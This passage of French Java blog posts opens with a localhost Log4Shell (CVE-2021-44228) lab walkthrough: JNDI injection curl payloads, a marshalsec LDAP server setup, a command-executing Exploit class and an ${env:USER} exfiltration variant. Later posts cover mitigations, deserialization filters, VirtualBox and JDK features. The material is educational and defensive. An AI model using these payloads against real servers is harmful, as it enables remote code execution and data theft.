Il faut commencer par compiler le code de l’exploit.

git clone https://github.com/lilian-benoit/log4jshell-poc.git
cd log4jshell-poc/src/test/java
javac Exploit.java

puis le rendre disponible via un serveur web

# Si vous avez un JDK 18
jwebserver -p 8888

Après le lancement, vous obtiendrez le message suivant :

Binding to loopback by default. For all interfaces use "-b 0.0.0.0" or "-b ::".
Serving /.../log4shell-poc/src/test/java and subdirectories on 127.0.0.1 port 8888
URL http://127.0.0.1:8888/

Si vous n’avez pas encore de JDK 18, vous pouvez utiliser node ou python. Exemple de commande avec Python3 : python3 -m http.server 8888

Le serveur LDAP

Nous avons besoin d’un serveur LDAP spécial qui permet de renvoyer du code qui appellera une url. Pour cela, nous allons le projet marshalsec de mbechler.

Il n’existe pas de version binaire. Il faut le compiler à partir des sources. Voici les commandes à taper pour compiler à partir des sources (Java 8 requis):

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

Pour l’exécution, nous allons utiliser la classe marshalsec.jndi.LDAPRefServer Lors d’un interrogation LDAP, il faut lui préciser en paramètre l’url afin de récupérer notre exploit.

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

Une fois démarré, il affiche le message suivant :

Listening on 0.0.0.0:1389

Exécution

Tout est en place. Il nous reste à exécuter l’attaque sur la cible.

Nous reprenons la première action qui consiste à appeler la cible avec une requête HTTP. Pour cela, nous utilisons l’outil curl. Pour information, le programme cible écoute sur le port 8500.

Le programme principal est disponible sous github

curl 127.0.0.1:8500 -H 'user-agent: ${jndi:ldap://127.0.0.1:1389/#Exploit}'

Nous obtenons le résultat suivant :

<h1>Voici le user-agent, ${jndi:ldap://127.0.0.1:1389/#Exploit}!</h1>

Nous allons voir la chaine d’évènement pour suivre le déroulé. En l' étape 2, la cible appelle bien l’annuaire LDAP. Nous retrouvons la trace suivante coté de l’annuaire

Send LDAP reference result for #Exploit redirecting to http://127.0.0.1:8888/Exploit.class

A noter que le code est simple, donc la classe a télécharger paramétrée uniquement au lancement du programme LDAP. Rien n’empêche un serveur plus complexe qui traiter la requête LDAP pour renvoyer vers la bonne classe.

Puis comme prévu dans l' étape 4, la cible appelle le serveur web avec l’url. Nous trouvons la trace suivante coté serveur web.

127.0.0.1 - - [25/déc./2021:10:42:24 +0100] "GET /Exploit.class HTTP/1.1" 200 -

Afin coté de la cible, la classe est bien chargée dans l' étape 6 et nous pouvons voir les traces de l’exécution. Ensuite, nous n’avons fait au plus simple pour la classe de l’exploit donc nous obtenons un problème de conversion ClassCastException.

Chargement...
cmd : bash
result : 0
2021-12-25 11:37:58,279 Thread-2 WARN Error looking up JNDI resource [ldap://127.0.0.1:1389/#Exploit]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '#Exploit'
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1092)
	at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
	at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)

  ...

Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
	at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
	at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
	... 48 more

11:27:50.892 [Thread-2] INFO  fr.lbenoit.securite.log4shell.VulnerableLog4jExampleHandler - Request user-agent: ${jndi:ldap://127.0.0.1:1389/#Exploit}

Nous pourrions arranger le code pour éviter de faire sortir ce type d’exception dans les traces. Mais en tout cas, l’exploit a fonctionné et nous avons obtenu notre fichier /tmp/exploit.txt

Imaginer maintenant si le programme tourne avec un utilisateur avec beaucoup de priviliège (comme root) et si la commande à exécuter consiste à supprimer tous les fichiers de l’ordinateur.

JVM Récente

Dans le billet précédent, j’indiquais les versions du JDK qui permettent de ne pas charger du code arbitraire. Dans notre cas, c’est la classe malveillante retournée par notre annuaire LDAP qui ne sera pas chargée.

C’est à dire, nous appelons bien l’annuaire LDAP mais pas le serveur web. Nous obtenons la sortie suivante :

23:13:16.325 [Thread-2] INFO  fr.lbenoit.securite.log4shell.VulnerableLog4jExampleHandler - Request user-agent: Reference Class Name: foo

Effectivement, le code malveillant n’est pas exécuté. Mais en appelant l’annuaire LDAP, nous pouvons divulguer des informations. En effet, si je modifie la requête initiale pour utiliser d’autres Lookups (Lien vers le manuel de Log4j) :

Nous pouvons utiliser d’autres "Lookup", par exemple :

Environnment Lookup avec env:USER
Java Lookup avec java:version

Nous obtenons la commande suivante :

curl 127.0.0.1:8500 -H 'user-agent: ${jndi:ldap://127.0.0.1:1389/#User/${java:version}/${env:USER}}'

Du coté de l’annuaire LDAP corrompu, nous obtenons les valeurs :

Send LDAP reference result for #User/Java version 17.0.1/lbenoit redirecting to http://127.0.0.1:8888/Exploit.class

Donc, le programme cible tourne avec un JDK 17.0.1 avec l’utilisateur lbenoit.

Conclusion

La montée de version d’une librairie avec une versions corrective est plus ou moins longue en fonction du processus de développement et de déploiement.

Il est intéressant de comprendre une faille de sécurité pour savoir comment s’en prémunir. Dans notre cas précis, les deux options log4j2.formatMsgNoLookups ou LOG4J_FORMAT_MSG_NO_LOOKUPS permettent de désactiver l’utilisation de ces fameux Lookup au sein des messages. De ce fait, cette faille n’est plus exploitable.

En effet, leur utilisation est plutôt pour la définition des patterns de messages. Voici un exemple pour d’un Lookup JNDI.

<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
  </PatternLayout>
</File>

Open Source

Pour rappel, Log4j fait partie du projet Apache logging service. C’est à dire la journalisation pour un ensemble de langages : Java, Kotlin, Scala, C++, .Net et d’autres projets associés. Ce n’est pas une grosse société derrrière mais c’est une petite équipe de bénévole.

Malgré leur petit nombre, ils ont été prompt à fournir des correctifs. C’est l’occasion de les soutenir en faisant un don à la fondation Apache.

Références

CVE-2021-44228 et Apache Log4j

dim., 12 déc. 2021 00:00:00 +0100

Table of Contents

Contexte
Solution
Références

Contexte

Le 9 décembre, une vulnérabilité a été annoncée publiquement. La faille a été découverte par Chen Zhaojun de l’équipe Securité de Alibaba Cloud. Les versions concernées de la version 2.0-beta9 à 2.14.1.

La faille utilise la fonctionnalité de Lookups de Log4J. C’est la capacité d’ajouter des informations dans les messages des journaux. Voici la liste complète. Celle qui nous intéresse est celle utilisant les capacité de JNDI.

    <File name="Application" fileName="application.log">
      <PatternLayout>
        <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
      </PatternLayout>
    </File>

Le principe de l’attaque est de détourner cette fonctionnalité afin d’appeler un serveur LDAP corrompu. Pourquoi ? car il est possible d’exécuter du code Java. Cela explique la gravité de cette faille car du code arbitraire peut être exécutée à distance.

Pour cela, il suffit que l’application affiche dans les journaux des informations provenant de la requête. Par exemple, l’en-tête 'User-Agent'

String userAgent = he.getRequestHeaders().getFirst("user-agent");

log.info("Request user-agent: {}", userAgent);

Et c’est là, que la personne malveillante peut construire une chaine maveillante de ce type :

curl 127.0.0.1:8500 -H 'user-agent: ${jndi:ldap://127.0.0.1:1389/....}'

127.0.0.1:8500 : Serveur cible de mon attaque
127.0.0.1:1389 : Serveur LDAP corrompu

Ainsi, cela sera le code suivant qui sera exécuté:

log.info("Request user-agent: ${jndi:ldap://127.0.0.1:1389/....}";

Reprenons, voici les étapes :

Les données sont envoyés au serveur (via n’importe quel protocole)
Le serveur enregistre dans les journaux le payload malveillant ${jndi:ldap://127.0.0.1:1389/….
Lo4j va appeler l’annuaire LDAP corrompu 127.0.0.1:1389 via JNDI
La réponse contient un chemin pour récupérer du code malveillant http://127.0.0.1:8888/Exploit.class qui sera chargé par le serveur.
Cela permet l’execution de code arbitraire.

Exemple de payload

class Exploit {
    static {
        try { Runtime.getRuntime().exec("touch /tmp/pwned"); } catch(Exception e) {}
    }
}

La commande sera exécutée dès qu’elle est chargé par la JVM.

Solution

La solution est de monter de version la librairie et d’utiliser la version 2.15.0.

Cela n’est peut-être pas simple à changer, notamment si cela concerne un produit utilisant log4j, comme Apache Solr, Elasticsearch, Apache Kafka.

Une liste est maintenue par connaître les produits impactés

Il est intéressant de connaitre des solutions alternatives permettant d’éviter le problème.

Version >= 2.10

Il existe deux solutions :

Propriété de la JVM : -Dlog4j.formatMsgNoLookups=true
Variable d’environnement : LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Version < 2.10

Solution un peu radicale. Elle consiste à supprimer la classe JndiLookup

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Cas des JVM récentes

Par défaut, le code arbitraire ne peut pas être chargée pour les versions suivantes :

Java 7 : 7u202
Java 8 : 8u192
Java 11 : 11.0.2

Si vous utilisez une version Java 8 >= 8u121, vous pouvez désactiver le chargement de ce type de code avec les propriétés suivantes :

-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false

Il est à noter que cela n’empêche pas le premier appel au serveur LDAP. Donc, des informations peuvent être soutirées par ce biais.

Références

Debian 11 (Bullseye) et VirtualBox

dim., 5 déc. 2021 00:00:00 +0100

Table of Contents

Contexte
Version de novembre
- Installation
- Mise à jour des modules si UEFI est activé.
Problèmes avec le hôte seulement
Références

Contexte

Debian 11 (Bullseye) a été publié le 14 août 2021. Quelques jours après, j’en profite pour mettre à jour mon PC. Je m’aperçois que VirtualBox ne fournit pas de package à jour. Le package existant fait référence à la précédente version avec des packages non fournis ou renommées.

Il faudra attendre que l’équipe projet travaille à mettre à jour les packages.

Les installations manuelles à partir d’une archive ne sont pas concluantes. Le fait de vouloir garder l’UEFI ne simplifie pas la tâche.

Version de novembre

Le 22 novembre est publié la version 6.1.30. Comme annoncé par le projet, c’est une version de maintenance. Ce qui est intéressant pour nous, c’est qu’elle intègre cette fonctionnalité :

Note	Linux host: For all distribution specific packages (deb/rpm format) fix the packaging so that the feature for unattended installation of guest OSes works

C’est à dire que les packages ont été mis à jour pour les distribution Linux dont Debian.

Installation

Ajoutez ou Mettez à jour le fichier /etc/apt/sources.list.d/virtualbox.list

deb [arch=amd64] http://download.virtualbox.org/virtualbox/debian bullseye contrib
# deb-src [arch=amd64] http://download.virtualbox.org/virtualbox/debian bullseye contrib

Mise à jour des packages

apt update

Installation de la version 6.1

apt install virtualbox-6.1

Pour rappel, la fin de support pour VirtualBox 6.0 est juillet 2020.

Mise à jour des modules si UEFI est activé.

Si, comme moi, vous avez gardé UEFI actif, il est nécessaire de signer les modules virtualbox. Pour cela, j’ai un script qui permet de le faire :

./sign-vbox-modules

Passphrase for ./MOK.priv ******
[sign-vbox-modules] Signing /lib/modules/5.10.0-9-amd64/misc/vboxdrv.ko...
[sign-vbox-modules] Signing /lib/modules/5.10.0-9-amd64/misc/vboxnetadp.ko...
[sign-vbox-modules] Signing /lib/modules/5.10.0-9-amd64/misc/vboxnetflt.ko...

Pour information, le contenu du script est disponible sur github

Pour plus d’informations, je vous invite à lire mon billet SecureBoot Signer ses modules et pourquoi ?

Suite à l’exécution, il reste à charger les modules :

mobprobe vboxdrv
mobprobe vboxnetadp
mobprobe vboxnetflt

Problèmes avec le hôte seulement

Cependant, si vous avez l’habitude d’utiliser le réseau hôte (host-only), vous ne pourrez plus accèder à vos machines.

Diagnostique

Vous pourrez le voir au niveau du système avec la commande ip a

...
14: vboxnet0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 0a:00:27:00:00:02 brd ff:ff:ff:ff:ff:ff
15: vboxnet1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 0a:00:27:00:00:01 brd ff:ff:ff:ff:ff:ff

Nous pouvons constater qu’il n’y a pas (ou plus) d’adresse IP associée aux réseaux virtualbox (vboxnet).

Nouvelle règle

Pour comprendre ce qui te passe, il faut regarder la version précédente, celle publié le 19 octobre, soit la version 6.1.28. Pourquoi parlez de cette version plus ancienne ? car il y a une modification qui a un impact sur vos VMs.

Note	Network: More administrative control over host-only network ranges to prevent trouble due to misconfiguration, see user manual. Check updated documentation or your VMs may stop working!

En effet, à partir de cette version, les adresses IP autorisées sont uniquement les adresses 192.168.56.0/21 par défaut. Pour IPv6, les adresses lien locaux sont autorisées. Vous devez modifier les adresses IP de vos VMs pour être dans la plage concernée ou sinon il faut passer par de la configuration.

Configuration

En effet, cela reste néanmoins configurable. Si vous souhaitez un réseau précis, il suffit de préciser dans le fichier /etc/vbox/networks.conf, en le créant s’il n’existe pas. Pour cela, il faut écrire les lignes de cette manière

 * 192.168.32.0/24

Nous avons trois règles :

Nous pouvons configurer autant de ligne que nous le souhaitons.
Si la ligne commence par le caractères #, elle sera ignorée.
De même, si le fichier existe et qu’il y a aucun plage d’adresse, cela implique que le réseau hôte uniquement est désactivé.

Vérification

Pour vérifier, nous pouvons utiliser de nouveau la commande ip a et nous avons bien l’adresse IP associé au réseau (vboxnet0 dans l’exemple).

14: vboxnet0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN group default qlen 1000
    link/ether 0a:00:27:00:00:00 brd ff:ff:ff:ff:ff:ff
    inet 192.168.32.1/24 brd 192.168.32.255 scope global vboxnet0
       valid_lft forever preferred_lft forever
    inet6 fe80::800:27ff:fe00:0/64 scope link
       valid_lft forever preferred_lft forever
15: vboxnet1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 0a:00:27:00:00:01 brd ff:ff:ff:ff:ff:ff

Références

JEP 418, Internet-Address Resolution SPI

dim., 21 nov. 2021 00:00:00 +0100

Table of Contents

Contexte
Les motivations
Comment cela marche ?
Mise en oeuvre
Références

Contexte

Parmi les nouvelles fonctionnalités du JDK 18, nous avons la mise en place d’une SPI (Service Provider Interface) pour la résolution d’adresses Internet.

Le développeur utilise la classe java.net.InetAddress pour la résolution d’adresse Internet. Il a pour cela les méthodes suivantes à notre disposition :

InetAddress::getAllByName() permet de faire une recherche par nom. Elle retourne un tableau d’adresses IP
InetAddress::getByName() permet de faire une recherche par nom. Elle retourne la première adresse IP de la précédente liste.

Pour une adresse Internet, nous avons les méthodes suivantes :

InetAddress::getCanonicalHostName() permet de faire une résolution inverse (Adresse IP vers le nom).
InetAddress::getHostName() permet de faire une résolution inverse si c’est nécessaire.

Actuellement, la résolution des noms sur le réseau IP est réalisée à partir des fonctions systèmes natives afin d’interroger les serveurs DNS (Domain Name Server).

Les motivations

Les principales sont les suivantes :

Projet Loom : La résolution de noms utilise les appels systèmes qui bloquent le traitement. Cela va à l’encontre du principe de thread virtuel. Il faut passer par des solutions alternatives afin d’interroger les serveurs DNS.

Il est à noter qu’il est possible d’interroger ces serveurs à l’aide de l’API JNDI.

Nouveaux protocoles : Au delà du DNS, des nouveaux protocoles émergent comme DNS au dessus de HTTPS.
Personnalisation : Avoir la maitrise fine de la résolution, utiliser une bibliothèque adéquate.
Tests : Il est ainsi possible de "moquer" la résolution DNS pour les tests.

Comment cela marche ?

Pour cela, nous avons des nouvelles classes dans le package java.net.spi:

InetAddressResolver : C’est l’interface qui réalise concrêtement la résolution du nom. Elle est récupérer en passant par la fabrique ci-dessus. Elle définie deux méthodes :

interface InetAddressResolver {
    String lookupByAddress(byte[] addr);

    Stream<InetAddress> lookupByName(String host, LookupPolicy lookupPolicy)

}

InetAddressResolver.LookupPolicy : C’est une classe qui permet de définir les caractéristiques de la résolution. Par exemple, IPV4, IPV4_FIRST, IPV6 et IPV6_FIRST
InetAddressResolverProvider : C’est la classe abstraite qui renvoie le résolveur sous le modèle des fabriques. Ce fournisseur est activé par le biais du ServiceLoader

public abstract class InetAddressResolverProvider {
    public abstract InetAddressResolver get(Configuration config);

    public abstract String name();
}

InetAddressResolverProvider.Configuration : C’est une interface qui permet de récupérer l’implémentation par défaut.

interface InetAddressResolverProvider.Configuration {
    InetAddressResolver builtinResolver()

    String lookupLocalHostName()
}

Mise en oeuvre

Pour la mise en oeuvre, nous avons définir notre fournisseur qui fera tout simplement de la délégation vis à vis du fournisseur par défaut de OpenJDK.

Pour cela nous allons commencer avec une nouvelle classe pour notre résolveur.

public class MonResolveurDNS implements InetAddressResolver  { (1)

	private InetAddressResolver delegate; (2)

	public MonResolveurDNS(InetAddressResolver delegate) {
		this.delegate = delegate;
	}

	@Override
	public Stream<InetAddress> lookupByName(String host, LookupPolicy lookupPolicy) throws UnknownHostException  { (3)
		System.out.println("[INFO ] : Appel de la méthode 'MonResolveurDNS::lookupByName.");
		return this.delegate.lookupByName(host, lookupPolicy);
	}

	@Override
	public String lookupByAddress(byte[] addr) throws UnknownHostException { (4)
        System.out.println("[INFO ] : Appel de la méthode 'MonResolveurDNS::lookupByAddress.");
		return delegate.lookupByAddress(addr);
	}

}

Nous réalisons l’interface java.net.spi.InetAddressResolverProvider
Nous définissons un attribut avec le résolveur que nous souhaitons utiliser.
Nous écrivons le code pour la méthode lookupByName de l’interface
Nous écrivons le code pour la méthode lookupByAddress de l’interface

Pour utiliser notre résolveur, il faut définir un fournisseur via l’interface InetAddressResolverProvider

public class MonResolveurDNSProvider extends InetAddressResolverProvider { (1)

	@Override
	public InetAddressResolver get(Configuration configuration) { (2)
		System.out.println("[INFO ] : Le fournisseur 'MonResolveurDNSProvider' est chargé.");
		return new MonResolveurDNS(configuration.builtinResolver()); (3)
	}

	@Override
	public String name() {
		return "MonResolveurDNSProvider";
	}

}

Nous réalisons l’interface java.net.spi.InetAddressResolverProvider
Principe de fabrique qui renvoie une instance InetAddressResolver
A partir de l’instance configuration, nous povons récupérer le résolveur par défaut.

Comme indiqué précédemment, c’est le ServiceLoader qui est utilisé pour récupérer le ou les fournisseurs. Pour cela, il est nécessaire de définir un fichier texte avec les règles suivantes :

Fichier présent dans le répertoire META-INF/services
Fichier ayant le nom de l’interface en tant que nom du fichier. Dans notre cas, c’est : java.net.spi.InetAddressResolverProvider
Fichier contenant le nom complet de la classe du fournisseur

Ayant suivi ces 3 étapes, le fournisseur est opérationnelle.

Si vous écrivez le programme suivant :

public static void main (String [] args) throws UnknownHostException {
    InetAddress adr = InetAddress.getByName("www.edf.fr");
    System.out.println(" - " + adr.getHostName() + " -> " + adr.getHostAddress());

    adr = InetAddress.getByName("www.wikipedia.fr");
    System.out.println(" - " + adr.getHostName() + " -> " + adr.getHostAddress());
}

Voici la sortie correspondant à lancement du programme :

[INFO ] : Le fournisseur 'MonResolveurDNSProvider' est chargé.
[INFO ] : Appel de la méthode 'MonResolveurDNS::lookupByName'.
 - www.edf.fr -> 23.72.9.40
[INFO ] : Appel de la méthode 'MonResolveurDNS::lookupByName'.
 - www.wikipedia.fr -> 51.254.200.228

Références

Sécurité : la désérialisation par la pratique

dim., 24 oct. 2021 00:00:00 +0200

Table of Contents

Contexte
Le cas d’étude
Solution
Références

Contexte

Dans les billets précédents (JEP 290, Filter Incoming Serialization Data et JEP 415, Context Deserialization Filters), je vous parlais de sécurité, notamment sur le sujet de la désérialisation. Ce point n’est pas anodin car la désérialisation non sécurisée fait partie du Top 10 OWASP des failles de sécurité des applications web.

L’objectif de ce billet est de passer de la théorie à la pratique.

Besoin de rappel ?, je vous invite à lire le chapitre Rappel sur la sérialisation

Pour faire court, l’objectif est pouvoir transformer une instance d’une classe en flux d’octets. Ce dernier sera stocké dans un fichier, passera par le réseau ou autres. Puis, le flux d’octects sera retransformer en instance.

Le cas d’étude

Nous avons deux classes sérialisables Point et Cercle.

public class Point implements Serializable {
	protected int x, y;

	public Point() {
	}
...

public class Cercle implements Serializable {
	protected Point centre;
	protected int rayon;
...

Sérialisation

La sérialisation est très facile, il suffit de manipuler la classe ObjectOutputStream et d’y écrire nos instances de Point et Cercle.

    Point c = new Point(4, 5);
    Cercle cercle = new Cercle(c, 20);

    try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("target/serial.data"));) {
        oos.writeObject(cercle);
    } catch (IOException e) {
        e.printStackTrace();
    }

Désérialisation

La désérialisation est l’opération inverse. Pour cela, nous manipulons ObjectInputStream.

    try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("target/serial.data"));) {

        Object f = ois.readObject();
        System.out.println(f.toString());

    } catch (IOException | ClassNotFoundException e) {
        //...
    }

Activation / Autorisation

La classe doit implémenter tout simplement l’interface java.lang.Serializable.

class MaClasse implements Serializable {

}

Et c’est tout !

Le problème

C’est que nous pouvons désérialiser une classe que nous ne connaissons pas, donc la charger en mémoire. Ce qui est potentiellement dangereux si nous sommes amené à exécuter du code malveillant.

try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FICHIER_SERIALISATION));) {
    oos.writeObject(cercle);
    oos.writeObject(new Intrus("INTRUSION"));
} catch (IOException e) {
    e.printStackTrace();
}

Dans ce billet, la classe Intrus est connue car elle est présente dans le classpath local. Mais plusieurs API Java permettent de récupérer le code et de le charger via la désérialisation.

Pour rappel, il suffit que la classe Intrus réalise l’interface Serializable.

package fr.lbenoit.billets.codes_sources.securite.intrus;

import java.io.Serializable;

public class Intrus implements Serializable {
    ...
}

La classe n’a rien à voir avec la classe Cercle. Et pourtant, nous allons pouvoir la désérialiser.

Object f = ois.readObject();
System.out.println(f.toString());
assertTrue(f.equals(cercle), "La première forme devrait être le cercle");

f = ois.readObject();
System.out.println(f.toString()); // Boom, la classe `Intrus` est chargée.

Solution

Utilisation des filtres par programmation

Comme recommandé par OWASP, la meilleure solution est définit une liste blanche. Pour cela, depuis le JDK 9, il nous suffit simplement de passer par l’interface ObjectInputFilter.

ObjectInputFilter filtre = ObjectInputFilter.Config
        .createFilter("fr.lbenoit.billets.codes_sources.securite.deserialisation.filtre.modele*;!*");

Notez l’usage de la dernière valeur !* qui permet de dire que nous souhaitons exclure toutes les valeurs non citées.

Lors du test unitaire associé, j’ai précisé que je souhaitais récupérer une exception sinon le cas échoue. Utilisation de fail() qui provoque l’échec du test si la désérialisation fonctionne.

...
try {
    f = ois.readObject();
    fail("Une exception aurait dû se produire.");
} catch (InvalidClassException ice) {
    System.out.println(ice.getMessage());
    assertTrue(ice.getMessage().contains("REJECTED"));
}

J’obtiens bien le résultat prévu :

Filter status: REJECTED

Utilisation des filtres par ligne de commande

Nous pouvons obtenir le même résultat en définissant la propriété suivante jdk.serialFilter. Dans le code, aucune référence à ce filtre.

java -jar ...jar -Djdk.serialFilter=fr.lbenoit.billets.codes_sources.securite.deserialisation.filtre.modele*;!*

Lors de l’exécution, nous obtenons :

oct. 10, 2021 12:17:13 AM java.io.ObjectInputFilter$Config lambda$static$0
INFO: Creating serialization filter from fr.lbenoit.billets.codes_sources.securite.deserialisation.filtre.modele*;!*
fr.lbenoit.billets.codes_sources.securite.deserialisation.filtre.modele.Cercle@87d3
java.io.InvalidClassException: filter status: REJECTED
	at java.base/java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1354)
	at java.base/java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2005)

Vous avez le lanceur Eclipse au niveau du projet : /2021-10-Filtre-Securite/launcher/Programme (jdk.serial).launch

Utilisation de son propre filtre

Nous pouvons avoir des conditions de rejet plus spécifique que ce qui est offert de base dans le JDK. Cela n’est pas un problème, nous pouvons écrire notre propre classe qui implémente l’interface ObjectInputFilter et mettre en place nos propres règles :

public class MonFiltre implements ObjectInputFilter {

	@Override
	public Status checkInput(FilterInfo arg0) {
		if (arg0.serialClass() == null) {
			return Status.ALLOWED;
		}
		System.out.println("class : " + arg0.serialClass());
		if (arg0.serialClass().getName().startsWith("fr.lbenoit.billets.codes_sources.securite.deserialisation.filtre.modele")) {
			return Status.ALLOWED;
		} else {
			return Status.REJECTED;
		}
	}

}

Pour rappel, la méthode checkInput prend une instance de FilterInfo en paramètre. Cela nous donne plein d’information sur le contexte courant.

Au delà du filtrage, il est possible de réaliser d’autres opérations que le filtre avec acceptation et refus. Il est possible tout simplement de journaliser de ce type d’usage et les classes concernées :

public class LoggerFiltre implements ObjectInputFilter {

	@Override
	public Status checkInput(FilterInfo arg0) {
		if (arg0.serialClass() == null) {
			return Status.ALLOWED;
		}
		System.err.println(arg0.serialClass().getName());
		return Status.ALLOWED;
	}

}

Je vous l’accorde l’utilisation d’un LOGGER serait plus approprié.

Le code source

Le code source est disponible sous Github à l’adresse suivante : https://github.com/lilian-benoit/billets-codes-sources/tree/master/2021/10/2021-10-Filtre-Securite

Références

JDK 17 Nouveautés

dim., 19 sept. 2021 00:00:00 +0200

Contexte

La version 17 du JDK est disponible depuis mardi dernier. Les autres distributions (Adoptium, Liberica, Azul..) vont suivre selon leur chaine de construction. A travers différents billets, nous avons déjà eu l’occasion de voir certaines fonctionnalités. C’est l’occasion de faire une synthèse sur l’ensemble des nouveautés.

La version 17 devient la nouvelle version LTS (Long Term Support).

En collaboration avec la communité et le JCP, Oracle propose d’accèlerer le rythme des versions LTS. La prochaine version pourrait être Java 21 disponible en septembre 2023, soit 2 ans au lieu de 3 ans actuellement.

Nouvelles fonctionnalités

306 - Restore Always-Strict Floating-Point Semantics

Cela concerne les contributeurs d’OpenJDK. L’objectif est d’utiliser, comme à l’origine, systématiquement les opérations de virgules flottantes de manière strict.

356 - Enhanced Pseudo-Random Number Generators

L’objectif est de fourni de nouveaux types et de nouvelles implémentations pour la génération des nombres aléatoires. Les buts sont :

Pouvoir facilement utiliser plusieurs algorithmes de génération de nombre aléatoires de manière interchangeable
Améliorer le support des flux ("stream")
Eliminer le code dupliqué des classes existantes
Ne pas changer le comportement de la classe java.util.Random

382 - New macOS Rendering Pipeline

En 2018, Apple annonce un nouveau cadriciel nommé Metal pour macOS 10.14. Ce dernier va remplacer la librairie OpenGL qui devient dépréciée.

Le projet Lanai est lancé en août 2019 pour prendre en compte le nouveau cadriciel. Cette fonctionnalité n’est ni plus ni moins l’intégration de ses travaux dans le JDK.

La mise en oeuvre consiste à :

Reprendre toutes les fonctionnalités de l’API Java 2D
Mettre en place la coexistence avec l’implémentation OpenGL
Etre prêt quand Apple supprimera OpenGL
Etre transparent pour les utilisateurs
Fournir les mêmes performances (voir meilleure)

Par défaut, c’est l’implémentation OpenGL qui est utilisé. Si vous souhaitez utiliser la nouvelle implémentation est faudra ajouter la propriété suivante :

-Dsun.java2d.metal=true

Plus d’informations sur le billet dédié au nouveauté JDK17 pour macOS.

403 - Strongly Encapsulate JDK Internals

C’est la suite de la JEP 396, Strongly Encapsulate JDK Internals by Default.

L’objectif est de continuer à pousser les développeurs à ne pas utiliser les classes internes du JDK. Pour cela, l’option --illegal-access affiche maintenant uniquement un avertissement quelque soit la valeur du paramètre et sera ignorée.

OpenJDK 64-Bit Server VM warning: Ignoring option --illegal-access=permit; support was removed in 17.0

L’option sera retirée dans une future release.

Il reste encore possible d’accèder à ces classes :

l’option --add-opens,
l’attribut du manifest Add-Opens.

La classe sun.misc.Unsafe reste accessible.

Retrouver les informations sur le billet sur JEP 396.

409 - Sealed Classes

Les classes scellées sont un moyen pour le développeur d’avoir plus de contrôle sur l’héritage. Pour cela, deux nouveaux mot clés ont été introduite sealed et non-sealed :

sealed : permet d’avoir des classes dérivées à condition qu’elles fassent partir des classes autorisées pour cela il y a le mot clé permits à utiliser.
non-sealed : permet de ne pas limiter les classes dérivées.

Par exemple, nous avons :

package fr.exemple.geometrie;

public abstract sealed class Forme
    permits Cercle, Rectangle {
	...
}

Nous définissons une classe abstraite Forme dont seules les classes Cercle et Rectangle seront autorisées comme classes dérivées.

Plus d’informations sur le billet dédié.

415 - Implement Context-Specific Deserialization Filters

La sérialisation non sécurisée fait partie du OWASP TOP 10 des vulnérabilités des applications web : A8:2017-Insecure Deserialization

C’est une amélioration de la JEP 290 qui permet déjà de mettre en place un filtre avant la sérialisation. Ainsi, il est possible de protéger notre application de ce type d’attaques.

Pour cela, nous avons une interface à notre disposition :

interface ObjectInputFilter {
    Status checkInput(FilterInput filterInfo);

    enum Status {
        UNDECIDED,
        ALLOWED,
        REJECTED;
    }

    ...
}

Il est aussi possible de passer simplement par la ligne de commande avec la propriété jdk.serialFilter.

java -Djdk.serialFilter="fr.lbenoit.exemple*;java.base/*;!*" ...

Cela permet de définir facilement une liste blanche de classes et/ou packages autorisées.

L’amélioration consiste à pouvoir définir un filtre par contexte de désérialisation. Une nouvelle interface BinaryOperator<ObjectInputFilter> a été mise en place pour permettre de savoir quelle filtre utilisé selon le contexte.

Nous pouvons réaliser l’implémentation de la méthode apply(…)

public class FiltreSelonContexte implements BinaryOperator<ObjectInputFilter> {

    public ObjectInputFilter apply(ObjectInputFilter curr, ObjectInputFilter next) {
        ....
    }
}

Cela permet de choisir entre l’implémentation courante et une nouvelle selon notre contexte. En sachant, que maintenant, il est aussi possible de fusionner les deux filtres :

interface ObjectInputFilter {
    ObjectInputFilter ObjectInputFilter.merge(ObjectInputFilter premier, ObjectInputFilter second);
}

Plus d’informations sur le billet dédié.

Nouvelles fonctionnalités (Portage)

391 - macOS/AArch64 Port

Le portage consiste à pouvoir faire fonctionner la JVM sur les nouvelles puces M1 d’Apple. L’architecture est ARM64, correspond à ce qu’on appelle AArh64.

Cela fait suite au portage de ce type d’architecture pour Linux, Windows et donc MacOS maintenant.

Plus d’informations sur le sur le billet dédié.

Fonctionnalités en mode Aperçu

406 - Pattern Matching for switch (Preview)

Les expressions switch ont été introduits dans le JDK 14 à travers la JEP 361

